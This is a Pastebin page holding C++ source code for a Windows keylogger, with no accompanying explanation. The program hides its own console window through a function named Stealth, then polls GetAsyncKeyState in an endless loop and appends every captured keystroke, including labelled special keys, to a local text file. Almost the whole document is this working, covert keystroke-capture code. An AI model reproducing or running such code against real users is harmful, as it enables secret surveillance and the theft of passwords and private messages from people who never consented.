Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <iostream>
- using namespace std;
- #include <windows.h>
- #include <Winuser.h>
- #include <stdio.h>
- int Save (int key_stroke, char *file);
- void Stealth();
- int main()
- {
- Stealth();
- char i;
- while (1)
- {
- for (i = 8; i <= 190; i++)
- {
- if (GetAsyncKeyState(i) == -32767)
- Save(i, "Keylogger_file.txt");
- }
- }
- system ("PAUSE");
- return 0;
- }
- /* *************************************** */
- /* *************************************** */
- int Save (int key_stroke, char *file)
- {
- if(( key_stroke == 1) || (key_stroke == 2)) //see if I can include the brackets
- return 0;
- FILE *OUTPUT_FILE;
- OUTPUT_FILE = fopen(file, "a+");
- cout << key_stroke << endl;
- if (key_stroke == 8)
- fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
- else if (key_stroke == 13)
- fprintf(OUTPUT_FILE, "%s", "\n");
- else if (key_stroke == 32)
- fprintf(OUTPUT_FILE, "%s", " ");
- else if (key_stroke == VK_TAB)
- fprintf(OUTPUT_FILE, "%s", "[TAB]");
- else if (key_stroke == VK_SHIFT)
- fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
- else if (key_stroke == VK_CONTROL)
- fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
- else if (key_stroke == VK_ESCAPE)
- fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
- else if (key_stroke == VK_END)
- fprintf(OUTPUT_FILE, "%s", "[END]");
- else if (key_stroke == VK_HOME)
- fprintf(OUTPUT_FILE, "%s", "[HOME]");
- else if (key_stroke == VK_LEFT)
- fprintf(OUTPUT_FILE, "%s", "[LEFT ARROW KEY]");
- else if (key_stroke == VK_UP)
- fprintf(OUTPUT_FILE, "%s", "[UP ARROW KEY]");
- else if (key_stroke == VK_RIGHT)
- fprintf(OUTPUT_FILE, "%s", "[RIGHT ARROW KEY]");
- else if (key_stroke == VK_DOWN)
- fprintf(OUTPUT_FILE, "%s", "[DOWN ARROW KEY]");
- else if (key_stroke == VK_DELETE)
- fprintf(OUTPUT_FILE, "%s", "[DELETE]");
- if ((key_stroke == 190) || (key_stroke == 110))
- fprintf(OUTPUT_FILE, "%s", ".");
- else
- fprintf(OUTPUT_FILE, "%s", &key_stroke);
- fclose(OUTPUT_FILE);
- return 0;
- }
- /* *************************************** */
- /* *************************************** */
- void Stealth(){
- HWND stealth;
- AllocConsole();
- stealth = FindWindowA("ConsoleWindowClass", NULL);
- ShowWindow(stealth,0);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement